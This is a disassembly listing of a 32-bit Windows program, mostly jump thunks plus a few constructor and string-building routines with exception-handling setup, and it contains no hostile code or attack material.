sub_401FD7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: sub_404690+48p
; sub_404690+5Dp ...
jmp sub_409E00
sub_401FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE1 proc near ; DATA XREF: ___:off_43F090o
jmp sub_419A50
sub_401FE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p
; sub_41B140+9j ...
jmp sub_41A210
sub_401FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FEB proc near ; CODE XREF: sub_40BD90+34p
; sub_40C200+67p
jmp sub_40C120
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_433980
; ---------------------------------------------------------------------------
loc_401FF5: ; DATA XREF: ___:off_43F094o
jmp loc_436570
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near
jmp sub_40F180
sub_401FFA endp
; ---------------------------------------------------------------------------
jmp loc_4375F0
; ---------------------------------------------------------------------------
loc_402004: ; DATA XREF: ___:0043F03Co
jmp loc_41EEB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402009 proc near ; CODE XREF: sub_41F960+5Ap
jmp sub_420040
sub_402009 endp
; ---------------------------------------------------------------------------
jmp loc_431670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402013 proc near ; CODE XREF: ___:00416B2Bp
; ___:0043B288j ...
jmp sub_417C00
sub_402013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402018 proc near ; CODE XREF: ___:00416E7Fp
jmp sub_4131F0
sub_402018 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_421B80+5p
jmp sub_422080
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: ___:00421754p
jmp sub_41C0A0
sub_402022 endp
; ---------------------------------------------------------------------------
off_402027 dd offset byte_4BF4E9 ; DATA XREF: ___:off_43F008o
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40202C proc near ; CODE XREF: sub_404690+2CEp
; sub_404CC0+46Fp ...
jmp sub_40A750
sub_40202C endp
; ---------------------------------------------------------------------------
jmp loc_434410
; ---------------------------------------------------------------------------
jmp sub_41B4D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40203B proc near ; CODE XREF: sub_422470+Ap
jmp sub_422750
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_404CC0+7E7p
jmp sub_41BA50
sub_402040 endp
; ---------------------------------------------------------------------------
loc_402045: ; DATA XREF: ___:off_43F014o
jmp loc_40AEC0
; ---------------------------------------------------------------------------
loc_40204A: ; DATA XREF: ___:off_43F088o
jmp loc_42D150
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: ___:0040AEC3p
; ___:0040FFAEp ...
jmp sub_40AEF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_424920+109p
; sub_424920+178p ...
jmp sub_424800
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_4099C0+7p
jmp sub_409AB0
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40205E proc near ; CODE XREF: sub_416760+Ap
jmp sub_416970
sub_40205E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402063 proc near
jmp sub_40CBF0
sub_402063 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402068 proc near ; CODE XREF: ___:004301DBp
; sub_4310C0+EAp
jmp sub_434320
sub_402068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_421A60+5p
; sub_421B50+6p ...
jmp sub_421FF0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_410030+8ADp
; sub_410030+95Ep ...
jmp sub_411A60
sub_402072 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402077 proc near ; CODE XREF: sub_40C120+7p
jmp sub_40C310
sub_402077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40207C proc near ; CODE XREF: sub_418A40+34p
; sub_418F90+67p
jmp sub_418DA0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp loc_409BF0
; ---------------------------------------------------------------------------
loc_402086: ; DATA XREF: ___:off_43F13Co
jmp loc_4292B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_417120+2Bp
; sub_417120+3Bp ...
jmp sub_403F30
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_4098B0+14p
jmp sub_409910
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_4332C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40209A proc near ; CODE XREF: sub_428DC0:loc_428FCBp
jmp sub_428CE0
sub_40209A endp
; ---------------------------------------------------------------------------
jmp sub_427940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_418430+4Dp
jmp sub_418B70
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; CODE XREF: sub_415230+5p
; sub_4153F0+6p ...
jmp sub_415DE0
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_427940+3p
jmp sub_427970
sub_4020AE endp
; ---------------------------------------------------------------------------
jmp loc_41B1F0
; ---------------------------------------------------------------------------
jmp loc_421720
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020BD proc near ; CODE XREF: ___:00416E4Fp
jmp sub_407080
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_413740+83p
; sub_4145A0+91p ...
jmp sub_4153F0
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; DATA XREF: ___:0043F054o
jmp sub_41F030
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_40AAD0+144p
jmp sub_40ADE0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; CODE XREF: sub_431240+BAp
; sub_433C70+36p
jmp sub_433CE0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D6 proc near ; CODE XREF: sub_421EF0+23p
; sub_422340+11p
jmp sub_4224E0
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: sub_4221E0+4p
jmp sub_4225F0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_42BB00+3BBp
jmp sub_42B730
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E5 proc near ; CODE XREF: ___:0041A312p
jmp sub_41A3B0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_416860+Ap
jmp sub_4169C0
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; DATA XREF: ___:off_43F18Co
jmp sub_42C5C0
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F4 proc near ; CODE XREF: sub_415D70+4p
jmp sub_416590
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020F9 proc near ; CODE XREF: ___:004307A6p
; ___:00430808p ...
jmp sub_434AD0
sub_4020F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020FE proc near ; CODE XREF: sub_418E20+8p
jmp sub_4190C0
sub_4020FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402103 proc near ; CODE XREF: sub_418990+34p
; sub_418E80+67p
jmp sub_418CA0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: sub_41A7D0+117p
jmp sub_41A960
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_415BA0+35p
jmp sub_416670
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_404CC0+459p
; sub_406730+43p ...
jmp sub_409CA0
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40BE00+5p
; sub_40BF40+6p ...
jmp sub_40C140
sub_402117 endp
; ---------------------------------------------------------------------------
jmp loc_4308A0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402121 proc near ; CODE XREF: ___:00416F7Ap
jmp sub_4191B0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: ___:0042AD23p
jmp sub_42AD50
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; CODE XREF: sub_410030+F3Dp
; sub_410030+1392p ...
jmp sub_4148A0
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_413A80+38p
; sub_413E70+5Fp
jmp sub_4135E0
sub_402130 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402135 proc near ; CODE XREF: sub_40A210+14p
; sub_40A240+7p ...
jmp sub_40A260
sub_402135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_42B440+157p
jmp sub_42AFF0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40ACC0+1Ap
; sub_40AD10+1Ap
jmp sub_40AD80
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_4156F0+3p
; ___:00415F1Fp ...
jmp sub_416150
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; DATA XREF: ___:0043F02Co
jmp sub_410030
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40214E proc near ; CODE XREF: sub_4148A0+EDp
jmp sub_415920
sub_40214E endp
; ---------------------------------------------------------------------------
jmp loc_41B490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_40BF00+3p
jmp sub_40C180
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40215D proc near ; CODE XREF: sub_40BFA0+11p
; ___:0040BFC7p ...
jmp sub_40C2C0
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: sub_41E760+2C5p
jmp sub_4208E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402167 proc near ; CODE XREF: sub_41D930+64Fp
jmp sub_41C170
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40216C proc near ; CODE XREF: sub_418CC0+32p
jmp sub_418F90
sub_40216C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402171 proc near ; CODE XREF: sub_40ED00+ACp
; ___:0040F42Dp
jmp sub_40EE40
sub_402171 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_4138B0+93p
jmp sub_434D10
sub_402176 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40217B proc near ; CODE XREF: sub_4152A0+1Fp
; sub_415BA0+2Cp
jmp sub_415B00
sub_40217B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402180 proc near ; CODE XREF: ___:0042670Dp
jmp sub_4266D0
sub_402180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402185 proc near ; CODE XREF: sub_420630+17Dp
jmp sub_421AD0
sub_402185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218A proc near ; CODE XREF: ___:0042D551p
jmp sub_42B380
sub_40218A endp
; ---------------------------------------------------------------------------
loc_40218F: ; DATA XREF: ___:off_43F010o
jmp loc_409BF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: sub_40AAD0+6Ap
; sub_40AAD0+103p
jmp sub_40AD10
sub_402194 endp
; ---------------------------------------------------------------------------
jmp loc_426280
; ---------------------------------------------------------------------------
jmp loc_427910
; ---------------------------------------------------------------------------
jmp loc_41AD00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021A8 proc near ; CODE XREF: sub_407270+14p
; sub_4072B0+9p ...
jmp sub_407510
sub_4021A8 endp
; ---------------------------------------------------------------------------
jmp loc_416DE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B2 proc near ; CODE XREF: sub_40B0E0+1Bp
jmp sub_433DC0
sub_4021B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021B7 proc near ; CODE XREF: ___:00415B5Ap
jmp sub_4165E0
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4309A0+ABp
; sub_431980+1Bp ...
jmp sub_4319F0
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_42FD80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021C6 proc near ; CODE XREF: ___:00408771p
; ___:00408793p ...
jmp sub_4199C0
sub_4021C6 endp
; ---------------------------------------------------------------------------
jmp loc_42DA00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D0 proc near ; CODE XREF: sub_40B600+55p
jmp sub_40A0B0
sub_4021D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; DATA XREF: ___:off_43F14Co
jmp sub_429510
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: sub_421BF0+34p
; sub_422510+67p
jmp sub_422230
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021DF proc near ; CODE XREF: sub_407140+2Cp
; sub_407140+68p ...
jmp sub_4072B0
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_4346E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021E9 proc near ; CODE XREF: sub_41C710+1B3p
; sub_41C710+332p ...
jmp sub_41D770
sub_4021E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021EE proc near ; CODE XREF: sub_40BD50+11p
; sub_40BFA0+1Fp
jmp sub_40C0D0
sub_4021EE endp
; ---------------------------------------------------------------------------
jmp loc_4308E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; CODE XREF: sub_4246D0+1Ap
; sub_4247B0+1Bp ...
jmp sub_424500
sub_4021F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021FD proc near ; CODE XREF: ___:00416ABBp
jmp sub_418A40
sub_4021FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402202 proc near
jmp sub_42CE60
sub_402202 endp
; ---------------------------------------------------------------------------
jmp loc_42FF70
; ---------------------------------------------------------------------------
jmp loc_430100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_434450+1Bp
jmp sub_4344C0
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: sub_42F6F0+101p
jmp sub_42F040
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; DATA XREF: ___:off_43F00Co
jmp sub_407210
sub_40221B endp
; ---------------------------------------------------------------------------
jmp loc_42F5C0
; ---------------------------------------------------------------------------
jmp locret_418940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; CODE XREF: sub_403720+25p
; sub_403720+35p ...
jmp sub_403CE0
sub_40222A endp
; ---------------------------------------------------------------------------
jmp loc_4343F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_418430+88p
; sub_418430+98p
jmp sub_418B90
sub_402234 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402239 proc near ; CODE XREF: ___:00416BBBp
; ___:0043B20Aj ...
jmp sub_417870
sub_402239 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40223E proc near ; CODE XREF: sub_418BE0+5p
jmp sub_418E50
sub_40223E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_414710+3p
jmp sub_414740
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: ___:004305EBp
; ___:00430F17p ...
jmp sub_431DC0
sub_402248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40224D proc near ; DATA XREF: ___:off_43F11Co
jmp sub_4288F0
sub_40224D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_430B30+102p
; sub_432A20+5Dp ...
jmp sub_431B00
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_4135E0+5Cp
; sub_4135E0+C0p ...
jmp sub_415540
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_432700
; ---------------------------------------------------------------------------
jmp loc_430460
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402266 proc near ; CODE XREF: sub_41D930+203p
jmp sub_42E3C0
sub_402266 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40226B proc near ; CODE XREF: sub_42F6F0+148p
; sub_42F6F0+173p
jmp sub_42EF60
sub_40226B endp
; ---------------------------------------------------------------------------
jmp loc_42F490
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402275 proc near ; CODE XREF: sub_4134A0+34p
; sub_4148A0+40p
jmp sub_4159F0
sub_402275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40227A proc near ; CODE XREF: sub_40CC90+1A4p
; sub_40D040+ADp
jmp sub_40D040
sub_40227A endp
; ---------------------------------------------------------------------------
jmp loc_42F510
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402284 proc near ; CODE XREF: sub_422B40+938p
jmp loc_424080
sub_402284 endp
; ---------------------------------------------------------------------------
jmp loc_419B90
; ---------------------------------------------------------------------------
loc_40228E: ; CODE XREF: ___:00439FE6j
jmp loc_40CFC0
; ---------------------------------------------------------------------------
db 129Dh dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403530 proc near ; CODE XREF: sub_4019C4j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_403530
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403589
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40357A: ; CODE XREF: sub_403530+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40357A
loc_403589: ; CODE XREF: sub_403530+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_40142E
push offset asc_4445EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401870
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A9B
push offset byte_448F40
lea ecx, [esp+47Ch+var_450]
call sub_401870
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_4035E1: ; CODE XREF: sub_403530+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_403637
lea ecx, [esp+478h+var_438]
call sub_40168B
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017EE
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401AAF
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_4035E1
loc_403637: ; CODE XREF: sub_403530+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_403530 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403700 proc near ; CODE XREF: sub_40168Bj
mov eax, [ecx+9]
retn
sub_403700 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403720 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403720
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_40222A
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_40222A
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_40222A
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_40222A
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_40222A
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_40222A
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_40222A
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_40222A
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_40222A
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_40222A
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_40222A
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_40222A
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_40222A
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_40222A
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_40222A
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_40222A
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_40222A
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_40222A
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_40222A
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_40222A
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_40222A
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_40222A
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_40222A
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_40222A
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_40222A
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_40222A
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_40222A
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_40222A
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_40222A
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_40222A
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_40222A
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_40222A
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_40222A
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401753
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401753
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401753
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401753
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401753
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401753
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401753
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401753
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401753
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401753
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401753
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401753
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401753
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401753
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401753
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401753
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401753
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403720 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C50 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CC0 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43F004
retn
sub_403CC0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
